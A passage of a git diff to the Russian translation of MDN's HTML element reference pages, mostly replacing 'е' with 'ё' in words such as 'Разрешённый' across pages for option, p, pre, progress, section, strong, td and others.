атрибуты</a>.</p> <dl> - <dt>{{htmlattrdef("disabled")}} -- отключен(о)</dt> - <dd>Если этот Boolean атрибут установлен, эта опция недоступна для выделения. Часто браузеры выделяют такой элемент управления серым цветом и ему недоступны любые события браузера, такие как клики мыши или события, связанные с фокусировкой. Если этот атрибут не установлен, этот элемент все еще можно отключить (может не работать), если отключен внешний(one of its ancestors) элемент {{HTMLElement("optgroup")}}.</dd> + <dt>{{htmlattrdef("disabled")}} -- отключён(о)</dt> + <dd>Если этот Boolean атрибут установлен, эта опция недоступна для выделения. Часто браузеры выделяют такой элемент управления серым цветом и ему недоступны любые события браузера, такие как клики мыши или события, связанные с фокусировкой. Если этот атрибут не установлен, этот элемент все ещё можно отключить (может не работать), если отключён внешний(one of its ancestors) элемент {{HTMLElement("optgroup")}}.</dd> <dt>{{htmlattrdef("label")}} -- метка, ярлык</dt> <dd>Этот атрибут - текст ярлыка, отображающий значение(смысл, описание) опции. Если <code>label</code> не указан (отсутствует), то его значение совпадает с текстовым содержанием элемента <code><option></code>.</dd> <dt>{{htmlattrdef("selected")}} -- выбран(о)</dt> <dd>(Если присутствует,) этот Boolean атрибут отображает то, что опция изначально выделена. Если элемент <code><option></code> принадлежит элементу {{HTMLElement("select")}}, чей атрибут {{htmlattrxref("multiple", "select")}} не установлен, только одна-единственная <code><option></code> элемента {{HTMLElement("select")}} может иметь атрибут <code>selected</code> .</dd> <dt>{{htmlattrdef("value")}} -- значение, величина</dt> - <dd>Содержимое(содержание) этого атрибута отображает(представляет) значение, отправляемое формой, если выбрана(выделена) данная опция. Если (этот) атрибут value отсутствует, значение берется из текстового содержания элемента <code><option></code>.</dd> + <dd>Содержимое(содержание) этого атрибута отображает(представляет) значение, отправляемое формой, если выбрана(выделена) данная опция. Если (этот) атрибут value отсутствует, значение берётся из текстового содержания элемента <code><option></code>.</dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/html/element/output/index.html b/files/ru/web/html/element/output/index.html index ffd25be957..5018c97a0e 100644 --- a/files/ru/web/html/element/output/index.html +++ b/files/ru/web/html/element/output/index.html @@ -2,7 +2,7 @@ title: '<output>: Элемент вывода' slug: Web/HTML/Element/output tags: - - Верстка + - Вёрстка - Элемент - вывод translation_of: Web/HTML/Element/output @@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/output <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_listed">перечисляемые</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_labelable">лэйбловые</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_resettable">сбрасываемые форма-ассоциированные элементы</a>, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td> </tr> <tr> @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/output <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Все элементы, которые принимают <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> diff --git a/files/ru/web/html/element/p/index.html b/files/ru/web/html/element/p/index.html index 166c1b2bd0..c74f0a6b76 100644 --- a/files/ru/web/html/element/p/index.html +++ b/files/ru/web/html/element/p/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/p --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary"><strong>HTML-элемент <code><p></code></strong> представляет собой абзац.</span> Абзацы обычно представлены в визуальной среде в виде блоков текста, отделенных от соседних блоков пустыми строками и/или отступом в первой строке, кроме этого HTML-абзацы могут представлять собой структурную группировку однотипного содержимого, например изображений или полей формы.</p> +<p><span class="seoSummary"><strong>HTML-элемент <code><p></code></strong> представляет собой абзац.</span> Абзацы обычно представлены в визуальной среде в виде блоков текста, отделённых от соседних блоков пустыми строками и/или отступом в первой строке, кроме этого HTML-абзацы могут представлять собой структурную группировку однотипного содержимого, например изображений или полей формы.</p> <p>Абзацы являются <a href="/ru/docs/Web/HTML/Block-level_elements">блочными элементами</a> и, в частности, автоматически закрываются, если другой блочный элемент находится перед закрывающим тегом <code></p></code>. Смотрите ниже "Пропуск тега".</p> @@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/p <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td> </tr> <tr> @@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/p <td>Требуется открывающий тег. Закрывающий тег может быть пропущен, если за элементом {{HTMLElement("p")}} сразу следует элемент {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hr")}}, {{HTMLElement("menu")}}, {{HTMLElement("nav")}}, {{HTMLElement("ol")}}, {{HTMLElement("pre")}}, {{HTMLElement("section")}}, {{HTMLElement("table")}}, {{HTMLElement("ul")}} или другой элемент {{HTMLElement("p")}}, или если в родительском элементе больше ничего не содержится и родительский элемент не является элементом {{HTMLElement("a")}}.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">потоковый контент</a> в качестве содержимого.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> @@ -161,7 +161,7 @@ p.pilcrow + p.pilcrow::before { <tr> <td>{{SpecName('HTML WHATWG', 'semantics.html#the-p-element', '<p>')}}</td> <td>{{Spec2('HTML WHATWG')}}</td> - <td>Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохраненное в определенный момент времени) {{SpecName("HTML5 W3C")}}</td> + <td>Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохранённое в определённый момент времени) {{SpecName("HTML5 W3C")}}</td> </tr> <tr> <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-p-element', '<p>')}}</td> diff --git a/files/ru/web/html/element/pre/index.html b/files/ru/web/html/element/pre/index.html index 70a3b05b1f..be57b57be9 100644 --- a/files/ru/web/html/element/pre/index.html +++ b/files/ru/web/html/element/pre/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/pre <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D0%BE%D0%B9_%D0%BF%D0%BE%D1%82%D0%BE%D0%BA">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%AF%D0%B2%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BD%D1%82">Явный контент</a></td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Фразовый контент</a></td> </tr> <tr> @@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/pre <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент, который принимает <a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D0%BE%D0%B9_%D0%BF%D0%BE%D1%82%D0%BE%D0%BA">содержимое потока</a></td> </tr> <tr> @@ -39,7 +39,7 @@ translation_of: Web/HTML/Element/pre <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">Нет соответствующей роли</a></td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> @@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/pre <dt>{{htmlattrdef("cols")}} {{non-standard_inline}}{{obsolete_inline}}</dt> <dd>Содержит <em>предпочтительное</em> количество символов, которое должна иметь строка. Это был нестандартный синоним {{htmlattrxref("width", "pre")}}. Чтобы добиться такого эффекта, используйте CSS {{Cssxref("width")}}.</dd> <dt>{{htmlattrdef("width")}} {{obsolete_inline}}</dt> - <dd>Содержит <em>предпочтительное</em> количество символов, которое должна иметь строка. Хотя технически он все еще реализован, этот атрибут не имеет визуального эффекта; чтобы достичь такого эффекта, используйте CSS {{Cssxref("width")}}.</dd> + <dd>Содержит <em>предпочтительное</em> количество символов, которое должна иметь строка. Хотя технически он все ещё реализован, этот атрибут не имеет визуального эффекта; чтобы достичь такого эффекта, используйте CSS {{Cssxref("width")}}.</dd> <dt>{{htmlattrdef("wrap")}} {{non-standard_inline}}</dt> <dd>Подсказка, указывающая, как должен происходить перенос. В современных браузерах этот атрибут игнорируется, и никакого визуального эффекта не приводит; чтобы достичь такого эффекта, используйте CSS {{Cssxref("white-space")}}.</dd> </dl> @@ -80,7 +80,7 @@ body { <h2 id="Проблемы_доступности">Проблемы доступности</h2> -<p>Важно предоставить альтернативное описание для любых изображений или диаграмм, созданных с использованием предварительно отформатированного текста. Альтернативное описание должно четко и лаконично описывать содержание изображения или диаграммы.</p> +<p>Важно предоставить альтернативное описание для любых изображений или диаграмм, созданных с использованием предварительно отформатированного текста. Альтернативное описание должно чётко и лаконично описывать содержание изображения или диаграммы.</p> <p>Люди, испытывающие проблемы с плохим зрением и просматривающие страницы с помощью вспомогательных технологий, таких как программа чтения с экрана, могут не понимать, что представляют собой предварительно отформатированные текстовые символы, когда они читаются последовательно.</p> diff --git a/files/ru/web/html/element/progress/index.html b/files/ru/web/html/element/progress/index.html index 3044cb72c1..5746e3259a 100644 --- a/files/ru/web/html/element/progress/index.html +++ b/files/ru/web/html/element/progress/index.html @@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/progress <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, контент, ассоциированный с label, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>, но среди его потомков не должно быть элемента <code><progress></code>.</td> </tr> <tr> @@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/progress <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент, который принимает <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Нет</td> </tr> <tr> @@ -51,7 +51,7 @@ translation_of: Web/HTML/Element/progress <dt>{{ htmlattrdef("max") }}</dt> <dd>Этот атрибут описывает сколько затрат требует задача, указанная элементом <code>progress</code>. Атрибут <code>max</code>, в случае указания, должен быть положительным, также, возможно применение числа с плавающей точкой. Значение по умолчанию 1.</dd> <dt>{{ htmlattrdef("value") }}</dt> - <dd>Этот атрибут указывает какая часть задачи была выполнена. Это может быть число с плавающей точкой от 0 до <code>max</code>, или между 0 и 1, если <code>max</code> не указан. Если атрибут <code>value</code> не указан, индикатор выполнения не определен; это указывает на то, что действие продолжается без указания на то, сколько времени оно займет.</dd> + <dd>Этот атрибут указывает какая часть задачи была выполнена. Это может быть число с плавающей точкой от 0 до <code>max</code>, или между 0 и 1, если <code>max</code> не указан. Если атрибут <code>value</code> не указан, индикатор выполнения не определён; это указывает на то, что действие продолжается без указания на то, сколько времени оно займет.</dd> </dl> <div class="note"> @@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/progress </div> <div class="note"> -<p><strong>Примечание:</strong> Псевдокласс {{ cssxref(":indeterminate") }} может быть использован для работы с неопределенным индикатором выполнения. Чтобы индикатор выполнения стал неопределенным после присвоения ему значения, вы должны удалить атрибут value с помощью <code>element.removeAttribute("value")</code></p> +<p><strong>Примечание:</strong> Псевдокласс {{ cssxref(":indeterminate") }} может быть использован для работы с неопределённым индикатором выполнения. Чтобы индикатор выполнения стал неопределённым после присвоения ему значения, вы должны удалить атрибут value с помощью <code>element.removeAttribute("value")</code></p> </div> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/html/element/ruby/index.html b/files/ru/web/html/element/ruby/index.html index ed501d421c..50439aa381 100644 --- a/files/ru/web/html/element/ruby/index.html +++ b/files/ru/web/html/element/ruby/index.html @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/ruby <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент который согласован с <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">текстовым контентом(phrasing content)</a>.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> diff --git a/files/ru/web/html/element/script/index.html b/files/ru/web/html/element/script/index.html index 7febc40d50..f16b52b07a 100644 --- a/files/ru/web/html/element/script/index.html +++ b/files/ru/web/html/element/script/index.html @@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/script </td> </tr> <tr> - <th scope="row">Разрешенная ARIA роль</th> + <th scope="row">Разрешённая ARIA роль</th> <td>Отсутствует</td> </tr> <tr> diff --git a/files/ru/web/html/element/section/index.html b/files/ru/web/html/element/section/index.html index b34e9d1099..9774eae28f 100644 --- a/files/ru/web/html/element/section/index.html +++ b/files/ru/web/html/element/section/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/section <p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p> -<p>Например, меню навигации должно быть помещено в элемент {{htmlelement("nav")}}, но список результатов поиска и отображение карты с ее элементами управления не имеют специфических элементов и могут быть помещены в <code><section></code>.</p> +<p>Например, меню навигации должно быть помещено в элемент {{htmlelement("nav")}}, но список результатов поиска и отображение карты с её элементами управления не имеют специфических элементов и могут быть помещены в <code><section></code>.</p> <div class="note"> <p><strong>Заметка:</strong> Если содержимое элемента имеет смысл объединить как единое целое (в цельный и независимый блок), то элемент {{HTMLElement("article")}} может стать лучшим выбором.</p> @@ -33,7 +33,7 @@ translation_of: Web/HTML/Element/section <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Секционный_контент">секционный контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a></td> </tr> <tr> @@ -41,11 +41,11 @@ translation_of: Web/HTML/Element/section <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code><section></code> не должен быть потомком элемента {{HTMLElement("address")}}.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>{{ARIARole("alert")}}, {{ARIARole("alertdialog")}}, {{ARIARole("application")}}, {{ARIARole("banner")}}, {{ARIARole("complementary")}}, {{ARIARole("contentinfo")}}, {{ARIARole("dialog")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("log")}}, {{ARIARole("main")}}, {{ARIARole("marquee")}}, {{ARIARole("navigation")}}, {{ARIARole("search")}}, {{ARIARole("status")}}, {{ARIARole("tabpanel")}}</td> </tr> <tr> @@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/section <h2 id="Примечание">Примечание</h2> <ul> - <li>Каждый элемент <code><section></code> должен быть идентифицирован, обычно путем добавления заголовка (элементы {{HTMLElement('h1')}}-{{HTMLElement('h6')}}) в качестве дочернего элемента.</li> + <li>Каждый элемент <code><section></code> должен быть идентифицирован, обычно путём добавления заголовка (элементы {{HTMLElement('h1')}}-{{HTMLElement('h6')}}) в качестве дочернего элемента.</li> <li>Если имеет смысл по-особому объединить содержимое элемента <code><section></code> (например, сделать цельным и независимым разделом HTML-документа), используйте вместо него элемент {{HTMLElement("article")}}.</li> <li>Не используйте элемент <code><section></code> как общий контейнер; для этого есть {{HTMLElement("div")}}, особенно когда секционирование применяется только для стилизации. На практике раздел должен логически выделяться в структуре документа.</li> </ul> diff --git a/files/ru/web/html/element/select/index.html b/files/ru/web/html/element/select/index.html index 53b0bc2509..58b8a35fa8 100644 --- a/files/ru/web/html/element/select/index.html +++ b/files/ru/web/html/element/select/index.html @@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/select <td>Любые элементы в которых разрешено текстовое содержимое</td> </tr> <tr> - <th scope="row">Разрешенная ARIA роль</th> + <th scope="row">Разрешённая ARIA роль</th> <td>{{ARIARole("menu")}}</td> </tr> <tr> diff --git a/files/ru/web/html/element/slot/index.html b/files/ru/web/html/element/slot/index.html index c87c67b648..84fadbdb9e 100644 --- a/files/ru/web/html/element/slot/index.html +++ b/files/ru/web/html/element/slot/index.html @@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/slot <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Поток контента</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">содержание формулировки</a></td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content_model">Прозрачный</a></td> </tr> <tr> @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/slot <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенный родители</th> + <th scope="row">Разрешённый родители</th> <td>Любой элемент, который принимает<a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content"> содержание формулировки</a></td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Никакой</td> </tr> <tr> diff --git a/files/ru/web/html/element/span/index.html b/files/ru/web/html/element/span/index.html index 3a8788e03e..0e28125455 100644 --- a/files/ru/web/html/element/span/index.html +++ b/files/ru/web/html/element/span/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/span <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td> </tr> <tr> @@ -34,11 +34,11 @@ translation_of: Web/HTML/Element/span <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый</a> или <a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">потоковый</a> контент в качестве содержимого.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> @@ -67,7 +67,7 @@ translation_of: Web/HTML/Element/span <h3 id="HTML_2">HTML</h3> <pre class="brush:html;gutter:false"><li><span> - <a href="portfolio.html" target="_blank">Посмотреть мое портфолио</a> + <a href="portfolio.html" target="_blank">Посмотреть моё портфолио</a> </span></li> </pre> diff --git a/files/ru/web/html/element/strong/index.html b/files/ru/web/html/element/strong/index.html index dfbbabd735..d16b0af54f 100644 --- a/files/ru/web/html/element/strong/index.html +++ b/files/ru/web/html/element/strong/index.html @@ -12,7 +12,7 @@ tags: - Элемент translation_of: Web/HTML/Element/strong --- -<p id="Summary"><span class="seoSummary">Элемент <strong>сильной значимости</strong> (<strong><code><strong></code>)</strong> указывает на то, что его содержание имеет большое значение, серьезность или срочность. Браузеры обычно отображают содержимое жирным шрифтом.</span></p> +<p id="Summary"><span class="seoSummary">Элемент <strong>сильной значимости</strong> (<strong><code><strong></code>)</strong> указывает на то, что его содержание имеет большое значение, серьёзность или срочность. Браузеры обычно отображают содержимое жирным шрифтом.</span></p> <table class="properties"> <tbody> @@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/strong <td><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Потоковой контент</a>, <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Фразовый контент</a>, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">Фразовый контент</a>.</td> </tr> <tr> @@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/strong <td>Нет, должен иметь как начальный тег, так и конечный тег.</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент, который принимает <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">фразовый контент</a>, или любой другой элемент, который принимает <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories">потоковой контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA-роли</th> + <th scope="row">Разрешённые ARIA-роли</th> <td>Любые</td> </tr> <tr> @@ -49,19 +49,19 @@ translation_of: Web/HTML/Element/strong <h2 id="Замечания_по_использованию">Замечания по использованию</h2> -<p>Элемент <code><strong></code> предназначен для контента, который имеет "большое значение", включая вещи большой серьезности или срочности (например, предупреждения). Это может быть предложение, которое имеет большое значение для всей страницы, или вы можете просто попытаться указать, что некоторые слова имеют большее значение по сравнению с соседним контентом.</p> +<p>Элемент <code><strong></code> предназначен для контента, который имеет "большое значение", включая вещи большой серьёзности или срочности (например, предупреждения). Это может быть предложение, которое имеет большое значение для всей страницы, или вы можете просто попытаться указать, что некоторые слова имеют большее значение по сравнению с соседним контентом.</p> -<p>Обычно этот элемент отображается по умолчанию с использованием жирного шрифта. Однако, он не должен быть использован просто для применения жирного стиля; используйте свойство CSS {{cssxref("font-weight")}} для этой цели. Используйте элемент {{HTMLElement("b")}}, чтобы привлечь внимание к определенному тексту без указания более высокого уровня важности. Используйте элемент {{HTMLElement("em")}} element для выделения текста, который имеет выраженный акцент.</p> +<p>Обычно этот элемент отображается по умолчанию с использованием жирного шрифта. Однако, он не должен быть использован просто для применения жирного стиля; используйте свойство CSS {{cssxref("font-weight")}} для этой цели. Используйте элемент {{HTMLElement("b")}}, чтобы привлечь внимание к определённому тексту без указания более высокого уровня важности. Используйте элемент {{HTMLElement("em")}} element для выделения текста, который имеет выраженный акцент.</p> <p>Другим приемлемым использованием для <code><strong></code> является обозначение ярлыков абзацев, которые представляют заметки или предупреждения в тексте страницы.</p> <h3 id="<b>_против_<strong>"><b> против <strong></h3> -<p>Это часто путает новых разработчиков, почему существует так много способов выразить одно и то же на представленном веб-сайте. {{HTMLElement("b")}} и <code><strong></code> возможно, является одним из наиболее распространенных источников путаницы, заставляя разработчиков задавать себе вопрос: «Должен ли я использовать <code><b></code> или <code><strong></code>? Разве они не делают одно и тоже?»</p> +<p>Это часто путает новых разработчиков, почему существует так много способов выразить одно и то же на представленном веб-сайте. {{HTMLElement("b")}} и <code><strong></code> возможно, является одним из наиболее распространённых источников путаницы, заставляя разработчиков задавать себе вопрос: «Должен ли я использовать <code><b></code> или <code><strong></code>? Разве они не делают одно и тоже?»</p> <p>Не совсем. Элемент <code><strong></code> для контента, который имеет большее значение, в то время как элемент <code><b></code> используется для привлечения внимания к тексту, не указывая на то, что это более важно.</p> -<p>Это может помочь понять, что оба являются правильным и семантическими элементами в HTML5, и это совпадение, что оба они имеют одинаковый стиль (полужирный) в большинстве браузеров (хотя некоторые старые браузеры фактически подчеркивают <code><strong></code>). Каждый элемент предназначен для использования в определенных типах сценариев, и если вы хотите жирный шрифт просто для украшения, вместо этого вы должные использовать свойства CSS {{cssxref("font-weight")}}.</p> +<p>Это может помочь понять, что оба являются правильным и семантическими элементами в HTML5, и это совпадение, что оба они имеют одинаковый стиль (полужирный) в большинстве браузеров (хотя некоторые старые браузеры фактически подчёркивают <code><strong></code>). Каждый элемент предназначен для использования в определённых типах сценариев, и если вы хотите жирный шрифт просто для украшения, вместо этого вы должные использовать свойства CSS {{cssxref("font-weight")}}.</p> <p>Предполагаемое значение или цель прилагаемого текста должно быть тем, что определяет, какой элемент вы используете. Значение общения - вот что такое семантика.</p> @@ -85,7 +85,7 @@ translation_of: Web/HTML/Element/strong <pre class="brush: html notranslate"><p><strong>Важно:</strong> прежде чем продолжить, убедитесь, что вы добавили много масла.</p></pre> -<p>Это приведет к:</p> +<p>Это приведёт к:</p> <p>{{EmbedLiveSample("Маркировочные_предупреждения", 650, 80)}}</p> @@ -120,7 +120,7 @@ translation_of: Web/HTML/Element/strong <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправьте нам пулреквест.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправьте нам пулреквест.</div> <p>{{Compat("html.elements.strong")}}</p> diff --git a/files/ru/web/html/element/td/index.html b/files/ru/web/html/element/td/index.html index 13adb17b58..1aff1b6a4e 100644 --- a/files/ru/web/html/element/td/index.html +++ b/files/ru/web/html/element/td/index.html @@ -21,11 +21,11 @@ translation_of: Web/HTML/Element/td Закрывающий тег может быть пропущен, если сразу за ним следует элемент {{HTMLElement("th")}} или {{HTMLElement("td")}}, или если больше нет данных в его родительском элементе.</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Элемент {{HTMLElement("tr")}}.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Любые</td> </tr> <tr> @@ -68,11 +68,11 @@ translation_of: Web/HTML/Element/td <dl> <dt>{{htmlattrdef("axis")}} {{obsolete_inline("html5")}}</dt> - <dd>Этот атрибут включает список строк разделенных пробелами. Каждая строка это ID группы ячеек которой соответствует этот заголовок. + <dd>Этот атрибут включает список строк разделённых пробелами. Каждая строка это ID группы ячеек которой соответствует этот заголовок. <div class="note"><strong>Примечание: </strong>Не используйте этот атрибут, он устарел в последней версии стандарта: вместо этого используйте атрибут {{htmlattrxref("scope", "td")}}.</div> </dd> <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt> - <dd>Этот атрибут определяет цвет фона ячейки. Значением задается 6-значными шестнадцатеричными кодами как определено в <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>, с префиксом '#'. Можно также использовать предопределенные цветовые строки, например: + <dd>Этот атрибут определяет цвет фона ячейки. Значением задаётся 6-значными шестнадцатеричными кодами как определено в <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>, с префиксом '#'. Можно также использовать предопределённые цветовые строки, например: <table style="width: 80%;"> <tbody> <tr> @@ -142,7 +142,7 @@ translation_of: Web/HTML/Element/td <dt>{{htmlattrdef("colspan")}}</dt> <dd>Этот атрибут содержит положительное целое число указывающее сколько столбцов необходимо объединить. По умолчанию значение равно <code>1</code>. Значения больше 1000 будет считаться некорректным и будет использовать значение по умолчанию (1).</dd> <dt>{{htmlattrdef("headers")}}</dt> - <dd>Этот атрибут содержит список срок разделенных пробелами, каждая соответствует <strong>id</strong> атрибуту {{HTMLElement("th")}} элементов которые использует этот элемент.</dd> + <dd>Этот атрибут содержит список срок разделённых пробелами, каждая соответствует <strong>id</strong> атрибуту {{HTMLElement("th")}} элементов которые использует этот элемент.</dd> <dt>{{htmlattrdef("rowspan")}}</dt> <dd>Этот атрибут содержит положительное целое число указывающее какое количество строк необходимо объединить. По умолчанию значение равно<code>1</code>; Если его значение <code>0</code>, тогда его действие распространяется до конца табличной секции ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, даже если неявно определено чему ячейка принадлежит. Значения выше 65534 сокращаются до 65534.</dd> <dt>{{htmlattrdef("scope")}} {{obsolete_inline("html5")}}</dt> diff --git a/files/ru/web/html/element/template/index.html b/files/ru/web/html/element/template/index.html index 1f8131817d..10b94c2864 100644 --- 